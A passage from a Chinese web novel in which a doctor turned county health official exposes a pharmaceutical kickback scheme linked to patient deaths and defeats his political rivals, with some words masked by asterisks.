“这里面的水,深不见底,牵扯着县里所有医院和医药公司的利益链。你不管,就是失职;你管,就是动了所有人的蛋糕,他们会联手把你撕碎,甚至栽赃你贪腐,让你永不翻身!”
面对钱国栋几乎是绝望的分析,叶凡却笑了,那双深邃的眼眸里,甚至闪烁着一丝外科医生看到复杂病例时的兴奋光芒。
“**,我必须去。拒绝,就是向赵卫东示弱。”
他反过来安慰钱国栋,“而且,我正愁‘城乡医疗一体化’的试点格局太小,现在,赵卫东亲手给了我一个把手术台搬到全县的机会。越是腐烂的伤口,才越有动刀的价值。”
在去县里报到前,叶凡给市纪委的**打了个电话。
他没有诉苦,也没有告状,而是用一种汇报喜讯的口吻。
“王**,向您汇报个好消息。咱们的改革思路得到了青川县领导的高度重视,赵卫东县长为了更好地支持工作,已经将我提拔到县卫生局的领导岗位,以便在全县范围内,更好地推行医疗改革。”
这番话,既是表功,也是提前报备,更是用阳谋,将赵卫东死死地架在了“支持改革”的道德高地上。
电话那头的**何等人物,瞬间便听懂了这弦外之音,沉默片刻后,只回了一句意味深长的话。
“好刀,就是要用在最复杂的病灶上。”
叶凡即将离开青山镇的消息,像长了翅膀一样,飞遍了每个村落。
出发那天,上百名村民自发地**在镇政府门口,手里提着土鸡蛋、自家种的蔬菜,将那条不宽的马路堵得水泄不通。
他们拉着一条红色的横幅,上面是几个歪歪扭扭却格外醒目的大字:“感谢叶青天”。
平安村的张大山**代表所有村民,将一面写着“医者仁心,执政为民”的锦旗,郑重地交到叶凡手中。
这朴实又热烈的一幕,让随行报道的苏沐秋红了眼眶。
她手中的相机,也让那些躲在暗处观察的人,清楚地看到了叶凡身上最坚硬的铠甲——民心。
在人群的喧嚣中,苏沐秋挤到叶凡车前,将一个包装精致的盒子塞进他手里。
叶凡打开,里面是一支最新款的录音笔,小巧而精致。
苏沐秋直视着他的眼睛,轻声但无比坚定地说:“在手术室,你的武器是手术
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刀。在这里,它就是你的手术刀。答应我,保护好自己。”
叶凡心中一暖,重重地点了点头。
这个承诺,饱含千言万语。
县卫生局是一栋灰扑扑的老楼,走进去,一股陈腐、懒散的气息便扑面而来。
走廊里,三三两两的工作人员,用或好奇、或轻蔑、或敌视的目光,肆无忌惮地打量着这个年轻得过分的副局长。
他的办公室被安排在走廊最尽头,一间最小、最破的屋子,窗户外面,正对着垃圾中转站,时不时传来一阵酸臭味。
这无声的羞辱,是新战场给他的第一个下马威。
叶凡还没来得及坐下,办公室的门就被“热情”地推开了。
局长马德龙挺着他那标志性的啤酒肚,满面春风地走了进来,身后还跟着另外两位副局长,脸上都挂着莫测的笑容。
“哎呀,小叶局长!盼星星盼月亮,可算把你给盼来了!”
马德龙亲**拍着叶凡的肩膀,他身后的两个人,则将一人多高的文件,“砰”的一声,重重堆在了叶凡那张破旧的办公桌上,扬起一片灰尘。
“小叶局长,你可是咱们卫生系统的大专家,这块最难啃的骨头——全县药品采购改革,就交给你这位主将了!你放心大胆地干,我们班子成员,全力支持你!”
马德龙笑得眼睛都眯成了一条缝,那笑容的背后,是毫不掩饰的幸灾乐祸。
面对这几乎是必死的开局,叶凡非但没有惊慌,反而露出了一个让所有人都始料未及的、灿烂的笑容。
他拿起最上面一份积满灰尘的文件,轻轻吹了口气,然后看着马德龙,字字清晰地说:
“感谢局长和各位领导的信任。正好,市里对咱们青川县的这项改革非常关注,****还特意嘱咐我,要我将改革的每一步进展,都做成详细报告,每周,亲自向他汇报。”
此言一出,马德龙、李胜利和周建三个人脸上的笑容,瞬间僵住。
第45章 破局,从一份死亡名单开始?
叶凡那句轻飘飘的“每周,亲自向他汇报”,像一盆冰水,兜头浇在了马德龙三人火热的心上。
****!
这四个字,就是悬在青川县所有干部头顶的达摩克利斯之剑。
马德龙脸上那弥勒佛般的笑容,瞬间僵住,肥厚的嘴唇抽动了两下,却一个字也挤不出来。
李胜利和周建脸上的幸灾乐祸,也迅速褪去,换上了一副见了鬼似的惊疑。
他们交换了一个眼神,那眼神里有震惊,有忌惮,更有被当猴耍了的恼怒。
“咳,那个……小叶局长刚来,工作千头万绪,我们就不打扰你熟悉情况了。”马德龙打了个哈哈,第一个转身就走,那速度,和他臃肿的身材形成了滑稽的对比。
李胜利和周建也立刻跟上,仿佛身后有猛虎在追。
办公室的门被“砰”地一声关上,隔绝了走廊里投来的窥探目光。
叶凡看着那一人多高的文件堆,笑了笑。
狐假虎威,终究只能用一时。
他知道,从这一刻起,自己已经成了这三人共同的眼中钉。
接下来的两天,叶凡没有碰那堆足以把人埋起来的药品采购烂账。
他做了一件让整个卫生局都摸不着头脑的事。
他没有下基层视察,也没有召集科室开会,而是直接一通电话打到了局档案室。
“你好,我是叶凡。请把全县所有医院,过去一年的‘医疗事故**报告’和‘非正常死亡病例讨论汇总’,全部送到我办公室来。”
这个举动,让所有暗中观察他的人都大跌眼镜。
“我还以为新来的有多大本事,原来是个怂包。”
“放着药品采购这么大的事不管,去翻那些陈芝麻烂谷子的旧案子,这是想干嘛?避重就轻,找个鸡毛蒜皮的小事来立威?”
“估计是被马局他们给吓破胆了,想找个软柿子捏捏,好向上头交差。”
流言蜚语在卫生局这栋死气沉沉的老楼里,比病毒传播得还快。
叶凡对此置若罔闻,他将自己关在办公室里,一份份地翻阅着那些冰冷的报告。
他不是在找茬,他是在寻找病灶。
官场如人体,当一个巨大的“肿瘤”——药品采购改革——无法推动时,根源往往不在肿瘤本身,而在那些为它输送养分的、被掩盖的“**细血管”上。
在一堆程序规范、结论清晰的报告中,一份来自县人民医院的死亡病例,让叶凡的目光陡然凝固。
死者,刘富贵,男,68岁。
入院诊断:急性胆囊炎。
手术名称:胆囊切除术。
死亡原因:术后第三天,突发急性心力衰竭,抢救无效死亡。
报告写得天衣无缝,家属无异议,院方补偿三万元人道主义费用,已结案。
可叶凡,却一眼看出了那足以致命的破绽。
他的手指,死死地按在报告中“术后用药”那一栏。
上面清楚地写着,为了预防感染,术后第一天,给患者静脉滴注了“头孢哌酮”。
而在病历首页的“过敏史”一栏,用红笔标注着三个刺眼的字——“青霉素类过敏”。
头孢哌酮和青霉素存在交叉过敏反应,这是医学生的入门常识!
一个明确青霉素过敏的病人,术后使用头孢,这不是治疗,这是在**!
所谓的“急性心力衰竭”,不过是严重过敏性休克最常见的临床表现!
叶凡的后背,渗出了一层冷汗。
这不是过失,这是一场被精心掩盖的草菅人命!
夜深人静,他没有惊动局里任何人,而是拨通了苏沐秋的电话。
他将自己的怀疑,用最简洁的语言和盘托出。
“沐秋,我需要你帮忙。利用记者的身份,去侧面接触一下死者家属,看看能不能了解到一些真实情况。”
电话那头的苏沐秋,没有丝毫犹豫。
她能听出叶凡声音里的疲惫和那份不容置疑的信任。
“交给我。”她的声音,有一种能安抚人心的坚定,“你专心应付局里那群狼,外围的调查,我来帮你扫清障碍。你自己……也要注意安全。”
这句简单的叮嘱,像一股暖流,瞬间涌遍叶凡的四肢百骸。
与此同时,副局长李胜利正坐在县长赵卫东的办公室里,汇报着叶凡的最新动向。
“县长,那小子果然是个软蛋。”李胜利的语气里,充满了轻蔑,“我把药品采购的骨头丢给他,他连闻一下的胆子都没有。现在正躲在办公室里翻看去年的死亡报告,估计是想找个医疗事故的小案子,转移视线,糊弄上级。”
赵卫东靠在宽大的老板椅上,嘴角勾起一抹冷笑。
“静观其变。他越是挣扎,就越是会掉进我给他挖的坑里。”在他看来,叶凡不过是一只掉进蛛网的飞虫,所有的扑腾,都只是徒劳。
苏沐秋的调查,比想象中要艰难得多。
死者家属在拿到医院那笔“人道主义补偿款”后,对此事讳莫如深。
苏沐秋数次登门,都被拒之门外。
她没有放弃。
她不再提采访,而是以一个普通晚辈的身份,买些水果,在门口放下就走。
下雨天,她会发个短信,提醒老人家属收衣服。
人心都是肉长的。
她的真诚,最终敲开了那扇紧闭的门。
在一次闲聊中,苏沐秋无意间提起自己有亲戚也因为用错药出了事。
这句话,像一把钥匙,瞬间打开了死者女儿压抑已久的悲恸。
在崩溃的痛哭中,她说出了一个惊天秘密。
“医院给的那笔钱里,有五万块,不是医院给的!”
“是一个姓王的,自称是‘康泰医药公司’的代表,私下塞给我们的!他让我们永远闭嘴,不然……不然我们全家都不得安宁!”
康泰医药公司!
当苏沐秋将这个名字告诉叶凡时,叶凡的瞳孔,猛地一缩!
他立刻让苏沐秋去工商系统查这家公司的背景。
结果,令人触目惊心。
这家康泰医
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药,几乎垄断了青川县所有公立医院八成以上的药品供应。
而它的法人代表,名叫王富贵,正是卫生局副局长——李胜利的小舅子!
所有的线索,在这一刻,完美地串联成了一条沾满血腥的利益链!
用廉价的、病人明确过敏的抗生素,换下昂贵的、安全的特效药。
这样,既能为医院“降本增效”,又能为药品公司创造巨额利润。
所谓的“药品采购改革”,之所以推不动,就是因为这条利益链,已经深入骨髓,甚至不惜用一条条人命,来填补利润的黑洞!
叶凡的拳头,狠狠地砸在了桌子上。
他没有丝毫犹豫,抓起桌上的电话,直接打给了局长办公室。
“马局长,请立刻通知,召开局党组紧急扩大会议!所有中层干部,必须参加!”
半小时后,卫生局的会议室里,坐满了人。
所有人都以为,这位新来的副局长,终于要汇报他那毫无进展的药品采购工作了。
李胜利的嘴角已经挂上了一丝准备看好戏的讥笑。
然而,叶凡走上台,却将一份报告的复印件,狠狠地摔在了会议桌的中央!
“药品采购改革,改的是钱。”
叶凡的声音,冰冷刺骨,环视全场。
“但今天,我要说的是命!”
“这份死亡报告,我相信在座的各位,尤其是人民医院的领导,都不陌生。但我要告诉大家,这不是心衰,这是**!”
“是用廉价的、病人明确过敏的抗生素,换下昂贵的、安全的特效药,从而赚取黑心差价的,草菅人命!”
话音未落,全场死寂!
李胜利脸上的血色,“唰”地一下褪得干干净净。
叶凡的目光,如两把出鞘的利剑,直直地刺向他。
“李副局长,我听说,康泰医药公司的老板,是您的亲戚?”
“不知道这家公司,在咱们县医院的药品销售额里,占了多大的比例?”
“又为我们这位死去的患者,节省了多少‘成本’呢?”
不等脸色惨白的李胜利反驳,叶凡直接转向早已目瞪口呆的马德龙,掷地有声。
“我提议,立即成立‘全县医疗安全及药品使用专项督查组’!”
“由我,亲自担任组长!”
“暂停讨论药品采购的方案,我们先查人命!我要查清,过去一年,到底有多少人,是死在了这种‘降本增效’的治疗方案下!”
这一番话,如同一颗炸雷,在会议室里炸响。
马德龙张着嘴,呆若木鸡。
查人命?谁敢拦?
谁拦,谁就是帮凶!
可一旦成立督查组,让叶凡这个煞神当了组长,那等于就是把一把刀,亲手交到了他的手上!
整个卫生局,不,是整个青川县的医疗系统,恐怕都要被他掀个底朝天!
马德龙看着叶凡那双冰冷而坚决的眼睛,只觉得一股寒气,从尾椎骨,直冲天灵盖。
他知道,自己已经骑虎难下。
第46章 破釜沉舟,借力打力!
会议室里的空气,仿佛被叶凡那句“我亲自担任组长”给抽干了,陷入了一种令人窒息的真空。
马德龙的胖脸上,那副常年挂着的弥勒佛笑容已经彻底龟裂,细小的汗珠从他稀疏的头发根部渗出,顺着额头的褶皱滑落。
他感觉自己不是坐在舒适的皮椅上,而是坐在一个即将喷发的火山口。
查人命?
这个理由大过天!
谁敢说个“不”字?谁说,谁就是李胜利的同党,谁就是草菅人命的帮凶!
可要是点了头,就等于把一把开了刃的屠刀,亲手递给了叶凡这个煞神。
到时候,他要查谁,谁能拦得住?
整个卫生局,不,是整个青川县的医疗系统,都将任由他翻个底朝天!
李胜利的脸色早已惨白如纸,嘴唇哆嗦着,想反驳,却发现任何语言在“人命”这两个字面前都显得苍白无力。
他求助似的看向马德龙,眼神里满是惊恐和哀求。
而另一个副局长,一直作壁上观的周建,眼中却闪过一丝不易察觉的兴奋。
他是县委张**的人,和县长赵卫东一派的李胜利斗了不是一天两天了。
眼看李胜利要倒大霉,他怎么可能不乐见其成?
周建清了清嗓子,第一个打破了沉默,语气沉痛,义正言辞:“我认为,叶凡同志的提议非常好!人命关天,这不仅是医疗安全问题,更是关系到我们整个干部队伍作风的原则问题!我们卫生系统,绝不能容忍这种拿病人生命当儿戏的害群之马存在!我同意成立督查组,并且,我提议,由**监察室的同志,全程参与,以示公正!”
好一招顺水推舟,还顺便踩了李胜利一脚!
周建的表态像多米诺骨牌一样,瞬间压垮了马德龙心里最后一道防线。
他知道,自己没得选了。
一个是新来的、背景不明但敢掀桌子的愣头青,背后可能站着市纪委;另一个是虎视眈眈的副手,代表着县委**。
而他想保的李胜利,已经是条快被钉死的鱼了。
“咳!”马德龙重重地咳了一声,用手帕擦了擦额头的汗,艰难地挤出一个比哭还难看的笑容。“周建同志说得对,叶凡同志的提议,也说到了我的心坎里!我们卫生局的宗旨,就是为人民的健康保驾护航!对于这种丑闻,必须一查到底,绝不姑息!”
他看向面如死灰的李胜利,痛心疾首地说道:“李胜利同志,虽然康泰医药是你亲戚的公司,但我们相信你是清白的。为了避嫌,也为了支持调查工作,我看,这个督查组,你就不要参加了。”
这番话,等于是在众目睽睽之下,彻底剥夺了李胜利最后的挣扎机会。
李胜利浑身一软,几乎要从椅子上滑下去。
他知道,自己被抛弃了。
被马德龙抛弃了,也被那个他一直效忠的县长赵卫东,暂时抛弃了。
叶凡的目光扫过全场,将所有人的表情尽收眼底。
他要的,就是这个效果。
他要用最强硬的姿态,在这潭死水里,砸出一个任何人都无法忽视的漩涡。
“既然大家没有意见,那这件事就这么定了。”叶凡的声音再次响起,带着不容置疑的决断,“散会后,请办公室立刻拟定正式文件,下发到各单位。明天上午九点,督查组全体成员,在小会议室召开第一次工作会议。”
他没有给任何人反应和串通的时间,说完,便第一个转身,大步流星地走出了会议室,留下了一屋子心思各异、噤若寒蝉的“同事”。
……
县政府大楼,顶层办公室。
赵卫东静静地听着李胜利在电话里带着哭腔的汇报,脸上没有丝毫波澜,只是眼神越来越冷。
“废物!”
等李胜利说完,他才从牙缝里挤出这两个字,然后“啪”地一声挂断了电话。
他走到巨大的落地窗前,俯瞰着楼下如织的车流,脸色阴沉得可怕。
他失算了,他以为叶凡是只初出茅庐的兔子,却没想到,是条一击致命的毒蛇。
他精心布置的“调虎离山”之计,非但没能困住叶凡,反而被对方借力打力,反手将了一军。
现在,叶凡手握“督查组”这把尚方宝剑,名正言顺地要在他的地盘上大开杀戒了。
赵卫东的眼中闪过一丝狠厉。
想查?
好,我让你查!但我绝不会让你那么舒坦地查!
他拿起桌上的红色电话,直接拨给了组织部。
“老陈,青川县卫生局不是成立了一个医疗安全督查组吗?我觉得这个督查组的力量还是有些薄弱嘛。这样,你从局办公室挑两个业务骨干,再从财务科调一个懂账的精兵强将,充实到督查组的队伍里去。嗯,要**过硬,业务精湛的同志。”
挂断电话,赵卫东的嘴角勾起一抹冰冷的笑意。
叶凡,你不是想当组长吗?那我就给你塞几个“副手”,让你这个组长,变成一个被架空的光杆司令!
我倒要看看,你一个人,怎么跟我安**去的整个团队斗!
……
叶凡回到自己那间充满酸臭味的办公室,反锁上门,长长地吐出了一口气。
刚才在会议室里,他看似强势,实则每一步都如履薄冰。
他给自己倒了杯水,拿出手机,拨通了那个熟悉的号码
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。
“沐秋,第一步,成了。”
电话那头的苏沐秋,声音里带着压抑不住的喜悦和一丝后怕。
“我……我一直在等你电话,心都快跳出来了。你没事吧?”
“我没事。”叶凡听着她带着关切的紧张声音,心里流过一阵暖意,忍不住开了个玩笑,“放心,你的专属‘手术刀’,锋利得很,还没钝。”
“贫嘴!”苏沐秋啐了一句,声音却轻松了不少,“不过你别大意,赵卫东那只老狐狸,绝对不会善罢甘休的。”
“我知道。”叶凡的笑意敛去,“所以,我需要你这双最敏锐的‘眼睛’,继续帮我盯着康泰医药,还有……李胜利小舅子王富贵的所有动向。我预感,他们很快就会有动作。”
“明白!保证完成任务,叶组长!”苏沐秋俏皮地回了一句。
挂断电话,叶凡刚准备研究一下那堆文件,办公室的门就被敲响了。
“请进。”
门开了,探进来的是局长马德龙那颗圆滚滚的脑袋。他脸上堆满了谄媚的笑容,手里还端着一个茶盘。
“哎呀,叶……不不,叶组长!”马德龙自己纠正道,热情地走了进来,“你看看,这办公室又小又破,委屈你了。我马上让后勤给你换到我对面那间大的去!这可是我刚从武夷山朋友那淘来的大红袍,你尝尝,提提神!”
他一边说,一边手脚麻利地给叶凡泡上茶,那殷勤的态度,和之前判若两人。
叶凡心中冷笑,知道这只老狐狸是来探口风,也是来示好的。
他没有拒绝,端起茶杯闻了闻。
“茶是好茶。”叶凡放下茶杯,看着马德龙,“不过马局长,我这个人,喝茶不解乏,查案子才解乏。尤其是查那种伤天害理,把人命当生意的案子,一查,就浑身是劲。”
马德龙脸上的肥肉一抖,那笑容顿时比哭还难看。
他听懂了叶凡的弦外之音——别来套近乎,我们不是一路人。
就在这时,办公室主任敲门走了进来,将一份打印好的文件恭敬地递给叶凡。
“叶组长,根据您的指示和县领导的关怀,督查组的正式成员名单,已经确定了。”
叶凡接过名单,目光扫过。
组长:叶凡。
副组长:局办公室主任钱伟,局财务科科长孙斌。
组员:局**监察室副主任赵亮,办公室干事刘小飞……
看着这一连串陌生的名字,叶凡的瞳孔,微微一缩。
他瞬间就明白了赵卫东的后招。
这哪里是充实队伍,这分明是给他派来了一群“监军”和“绊脚石”!
这场战争,才刚刚开始。
第48章 绝地反杀,釜底抽薪!
钱伟和孙斌瘫软在地,面如死灰。
那两部被从鞋底和腰带夹层里搜出来的“备用手机”,成了压垮他们的最后一根稻草。
手机里是他们刚刚发出去,还没来得及删除的信息。
“他来了!目标是原始档案!快!”
“拖住!想办法拖住!”
铁证如山!
青山镇派出所的所长,是钱国栋的老部下,办事干净利落。
他二话不说,直接将两人铐了起来。
“叶组长,人我们先带回去‘协助调查’,保证让他们把知道的,不知道的,都说得清清楚楚!”
叶凡点了点头,目光转向会议室里剩下的几名组员。
那些刚才还附和着钱伟的人,此刻一个个噤若寒蝉,低着头,连大气都不敢喘。
“现在还有人觉得我的行动‘不合规矩’吗?”
叶凡冰冷的声音回荡在死寂的会议室里。
无人应答。
清除了内鬼,叶凡的行动效率陡然提升。
没有了掣肘,他就像一把精准的手术刀,直插县人民医院的心脏。
在信息中心,他凭借自己顶尖的医学知识,亲自上手操作,绕开了医院信息系统设置的重重防火墙和伪装路径,直接从服务器最底层,调取出了过去三年,所有未经篡改的原始手术记录和用药日志。
当那一份份沾着血的“真相”被打印出来时,在场所有人都倒吸了一口凉气。
死于“心力衰竭”的刘富贵,绝不是个例!
在这些原始记录里,至少还有十几起类似的死亡案例!
死者大多是老人,入院的病症也五花八门,有的是阑尾炎,有的是骨折,但最终的死亡原因,却惊人地一致——“术后并发症”、“急性脏器衰竭”。
而在他们的用药记录里,无一例外都出现了康泰医药公司生产的,那些廉价且存在高风险的替代药品!
这已经不是简单的医疗事故了。
这是一场持续了数年的,系统性的,为了牟取暴利而进行的,集体**!
“封存!所有证据,全部封存打包!”叶凡的声音因为极致的愤怒而微微颤抖。
然而,就在他们将一箱箱证据搬出信息中心的时候,意外发生了。
医院的大厅里不知何时**了一大群人。
有穿着白大褂的医生护士,也有许多不明真相的病人家属,将他们团团围住。
一个戴着口罩,只露出一双眼睛的男人,站在人群中,用扩音器高声煽动着。
“大家快来看啊!卫生局的人没有合法手续,就要抢走我们医院的病历档案!这是我们病人的隐私!他们这是要干什么?是不是要制造冤假错案,来打击报复我们这些兢兢业业的医生!”
“他们把我们的财务科长和药剂科长都用**抓走了!这是白色恐怖!我们医院明天就要瘫痪了!大家还怎么看病!”
“不能让他们把证据带走!这是我们医院的财产!”
人群的情绪瞬间被点燃。
不明真相的家属和被煽动的年轻医生,开始向叶凡他们涌来,场面一度陷入失控。
督查组的几名成员何曾见过这种阵仗,一个个吓得脸色发白,下意识地护住手里的证据箱。
“叶组长,怎么办?要不要叫防暴队?”一名年轻组员紧张地问道。
叶凡的眼神却越过骚动的人群,死死地盯住了那个拿着扩音器的煽动者。
他知道这是李胜利,或者说是赵卫东最后的反扑。
他们想用“**”这把最锋利的刀,来逼自己让步。
一旦发生冲突,无论对错,他这个带队的组长,都要负主要责任。
到时候,赵卫东就可以名正言顺地叫停调查,将所有事情压下去。
好一招毒计!
叶凡的脑子在飞速地运转。
报警?
不行,县**局现在群龙无首,人心惶惶,等他们赶到,黄花菜都凉了。
硬闯?
更不行,只会让冲突升级,正中对方下怀。
就在这千钧一发之际,叶凡忽然笑了。
他拿出手机,当着所有人的面,拨通了一个电话。
他没有打给**,也没有打给钱国栋。
他打给了那个一直与赵卫东分庭抗礼的,县委**,张海涛。
“张**,您好,我是卫生局的叶凡。”
电话一接通,叶凡的声音清晰而沉稳,通过手机,也传到了周围一些人的耳朵里。
“我现在在县人民医院,已经掌握了李胜利副局长伙同其亲戚王富贵的康泰医药公司,长期偷换药品,**结,草菅人命的铁证。”
“但是,现在赵卫东县长的人正在现场**真相的群众围堵我们,意图抢夺并销毁这份关系到十几条人命的核心证据。”
叶凡的语气陡然拔高,充满了不容置疑的正气。
“我个人安危事小,但这批证据,关系到我们青川县整个官场的**生态,关系到县委县政府在人民群众心中的公信力!它绝不能落到那群**分子的手里!”
“张**,我现在以督查组组长的名义,正式向您,向县委,请求支援!”
“我请求您,立刻派人过来,以县委的名义来接管这批证据!我只相信县委!只相信您!”
这一番话,如同一记记重锤,狠狠地砸在了所有人的心上!
那些被煽动的群众瞬间冷静了下来。
原来不是抢档案,而是查人命案?还是县长的人在阻挠?
而那个拿着扩音器的男人更是吓得浑身一抖,手里的扩音器都差点掉在地上。
电
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话那头的县委**张海涛,在短暂的沉默后,只说了一个字。
“等我。”
这两个字,重如泰山。
不到十分钟。
数辆黑色的奥迪轿车,闪着警示灯,以一种不容抗拒的姿态,直接冲到了医院大厅的门口。
车门打开,走在最前面的,赫然是县委**张海涛!
他身后跟着的,是他的秘书,以及一队由县委警卫科直接调派的,荷枪实弹的武警!
这阵仗,比之前赵东来带的警察,要恐怖百倍!
张海涛脸色铁青,看都没看那些骚乱的人群,径直走到叶凡面前。
他的目光在叶凡那张年轻却无比坚毅的脸上停留了几秒,又看了看他身后那几箱沉甸甸的证据。
“叶凡同志,你辛苦了。”张海涛的声音铿锵有力,“你放心,有县委给你撑腰,任何黑恶势力,任何保护伞,我们都将一查到底,绝不姑息!”
他转过身,凌厉的目光扫过全场,最后落在了那个已经吓得瘫软在地的煽动者身上。
“把他给我抓起来!我倒要看看,是谁给他的胆子,敢公然对抗县委的决定,阻挠人命大案的调查!”
局势,在瞬间,天翻地覆。
这,才是真正的,绝地反杀,釜底抽薪!
叶凡将证据亲手交接到县委派来的人手中,看着他们贴上县委的封条,心中悬着的大石,终于落下。
混乱平息后,苏沐秋快步走到他身边,看着他额角渗出的细汗,从口袋里掏出纸巾,很自然地,伸手帮他擦了擦。
那柔软的触感和她指尖的微凉,让叶凡的心猛地一颤。
他看着她那双写满后怕与钦佩的明亮眼眸,千言万语,都化作了一句。
“谢谢。”
苏沐秋摇了摇头,眼眶微红,却笑了,笑得像雨后的月光。
……
县长办公室里。
赵卫东接完电话,缓缓地坐回椅子上,脸色平静得可怕。
他知道,自己输了。
输得一败涂地。
他精心布下的所有棋子,都被那个叫叶凡的年轻人,一颗一颗,干净利落地,从棋盘上清扫了出去。
甚至,连他自己这尊“帅”,都已经被对方逼到了绝路。
办公室里,死一般的沉寂。
许久,赵卫东拿起桌上那部红色的,加密的电话,拨出了一个他轻易绝不会动的号码。
电话响了很久,才被接通。
“喂。”电话那头,传来一个苍老却依旧带着威严的声音。
赵卫东的姿态瞬间变得无比恭敬,甚至带着一丝卑微。
“柳部长……是我,卫东。”
“青川县,出了一点小麻烦。”
他顿了顿,用一种极其复杂的语气说道:“跟您家的那个……前女婿,有关。”
第49章 投名状与杀威棒!
江城**大楼,政府文联主席的办公室。
柳传明挂断电话,那张保养得宜的脸上看不出丝毫波澜,唯有指间夹着的那根**香烟,烟灰已经积了很长一截,微微颤抖。
“前女婿……”
他将这三个字在唇齿间咀嚼了一遍,如同品尝一杯陈年的苦酒,滋味复杂。
废物?
烂泥?
柳传明第一次对自己看人的眼光产生了怀疑。
他当初之所以毫不留情地逼女儿离婚,除了叶凡那“扶不上墙”的窝囊样,更深层的原因是叶凡的存在,已经成了柳家向上攀爬的负资产。
他需要一个能为柳家带来**资源的乘龙快婿,而不是一个只会在手术台上摆弄刀剪的匠人。
可现在,这个“匠人”不仅没在乡下的泥潭里淹死,反而以一种他完全没想到的方式,搅动了青川县的浑水,甚至让赵卫东这条他亲手扶植起来的地头蛇,都感到棘手,不得不打电话向他求援。
另外自己也因为这个前女婿被贬做了文联**,就连自己的儿子柳志鹏都受到了牵连。
“有点意思。”柳传明掐灭了烟头,眼中闪过一丝老辣的寒光。
他很清楚赵卫东打这个电话的目的。
这不是简单的求助,而是一种变相的“**”。
赵卫东在暗示他:柳部长,你那个前女婿现在要砸我的锅,我背后站的是你,这事儿,你不能不管。
管,是肯定要管的。
赵卫东这颗棋子,是他未来的重要布局,绝不能轻易废掉。
但怎么管,却是一门艺术。
柳传明拿起桌上的红色电话,没有打给青川县的任何人,而是直接拨通了市**局一位副局长的手机。
“老周,帮我查个人。青川县卫生局,叶凡。对,就是那个叶凡。把他从出生到现在的履历,社会关系,尤其是……他最近和市里哪些人有过接触,查得越细越好。记住,我要的是绝对保密。”
挂断电话,柳传明靠在宽大的座椅上,手指有节奏地敲击着桌面。
他不会像赵卫东那么愚蠢,直接和叶凡硬碰硬。
知己知彼,方能百战不殆。
他要先把这颗突然冒出来的棋子,研究个通透。
他需要知道,叶凡这把刀,背后究竟有没有握着刀的人。
是市纪委的**?还是那个刚刚在青川县强势介入的县委**张海涛?
或者,还有**的隐藏在更深处的势力?
在没有弄清楚这些之前,任何轻举妄动,都可能引火烧身。
……
青川县的天因为县委**张海涛的强势介入,暂时晴朗了起来。
县人民医院那场由赵卫东暗中操纵的闹剧以煽动者被当场带走,医院院长和**被县委约谈而告终。
李胜利被正式立案调查,他的小舅子王富贵,连同康泰医药公司的所有账目,也被市里派下的经侦人员一并查封。
叶凡,一战成名。
这个名字,在短短几天内,响彻了青川县的官场。
所有人都知道,卫生局来了个年轻人,背景神秘,手段狠辣,连县长赵卫东的面子都敢不给,甚至还搭上了县委**这条线。
一时间,卫生局成了全县最受瞩目的地方。
叶凡的办公室也终于从那个对着垃圾站的角落换到了局长马德龙正对面的大套间。
办公桌椅换了全新的,地上铺了崭新的地毯,窗明几净,空气里弥漫着兰花的清香。
这是马德龙亲自操办的,那份殷勤和敬畏,毫不掩饰。
而之前那些对叶凡避之不及的同事,现在见到他,无不远远地就堆起笑容,恭敬地喊上一声“叶局”。
叶凡对此,处之泰然。
他深知,这些人敬畏的不是他叶凡,而是他背后那虚无缥缈的“背景”,和他手中那把随时可能落下的“刀”。
督查组的工作,在清除了内鬼和障碍后,势如破竹。
叶凡没有辜负张海涛的信任,他带着剩下的组员,以县人民医院为突破口,顺藤摸瓜,在短短一周内,就将康泰医药渗透到全县各乡镇卫生院的利益链条,查了个底朝天。
那份最终的调查报告,触目惊心。
当叶凡将这份厚达百页,附带着如山铁证的报告,放到县委**张海涛的办公桌上时,这位一向沉稳的县委一把手也忍不住狠狠一拳砸在了桌子上。
“无法无天!简直是无法无天!”
张海涛的愤怒不仅仅是因为那些冰冷的死亡数字,更是因为这张**网络背后,那只若隐若现的,属于县长赵卫东的手。
他看着眼前这个眼神清澈、气质沉稳的年轻人,越看越是欣赏。
“叶凡同志,这次你立了大功。这份报告,就是你递给县委,递给我张海涛的‘投名状’。我收下了。”张海涛的语气已经带上了一种自己人的亲近,“你放心,后续的事情,县委会处理。任何妄图包庇**分子的行为,我们都将一查到底!”
这番话,既是承诺,也是对叶凡的保护。
从张海涛办公室出来,叶凡感觉整个人都轻松了不少。
他知道,自己这一步棋,走对了。
他成功地将自己和赵卫东的私人恩怨,转化为了县委**和县长之间的**。
如此一来,他这个小小的副局长,才能在这场风暴中,获得暂时的安全。
他刚回到办公室,屁股还没坐热,苏沐秋的电话就打了过来。
“叶大组长,凯旋归来,不打算犒劳一下我这个鞍前马后的‘首席战地记者’吗?”电话那头,苏沐秋的声音带着一丝俏皮的调侃,驱散了连日来的紧张和疲惫。
叶凡笑了,心情也跟着明媚起来。
“必须的。说吧,想吃什么,地方你定。”
“就去县里有名的那家‘老街砂锅’吧,我有点想念那里的味道了。”
“好。”
夜幕降临,华灯初上。
老街砂锅店里,依旧是那么热闹,充满了市井的烟火气。
两人选了个靠窗的角落,点了一锅热气腾腾的排骨砂锅,几样小菜。
苏沐秋脱下风衣,里面是一件米白色的高领毛衣,衬得她那张素净的脸庞,在温暖的灯光下,愈发显得柔和动人。
她看着对面正在认真帮她烫洗碗筷的叶凡,眼神有些恍惚。
谁能想到,几个月前,那个在青山镇医院里,眼神落寞,仿佛对一切都失去兴趣的男人,如今却已经能在整个县的政局里,掀起如此大的波澜。
“在想什么?”叶凡将洗好的碗筷放到她面前,抬头问道。
“在想,你好像变了。”苏沐秋托着下巴,歪着头看他,“不,也不是变了。是那个原本的你,好像终于从壳里,走出来了。”
叶凡笑了笑,没有接话,只是默默地往她碗里夹了一块最大的排骨。
气氛温馨而暧昧。
“叮铃铃!”
就在这时,一阵刺耳的手机铃声,打破了这份宁静。
是叶凡的私人手机。他拿起来一看,瞳孔微微一缩。
来电显示,是一个陌生的江城号码。
他犹豫了一下,还是按下了接听键。
“喂,你好。”
电话那头,传来一个他毕生都无法忘记的,冰冷而骄傲的声音。
“叶凡,是我。”
是柳如烟。
叶凡的心像是被一只无形的手,猛地攥紧了。
他没想到,她会主动联系自己。
“有事?”
他的声音瞬间冷了下来,仿佛刚才和苏沐秋谈笑风生的那个人,根本不是他。
对面的苏沐秋脸上的笑容也瞬间凝固了。
她虽然听不到电话那头是谁,但从叶凡这瞬间的反应,她已经猜到了七八分。
“我……我爸想见你。”柳如烟的声音里带着一丝她自己都未曾察觉的,复杂的
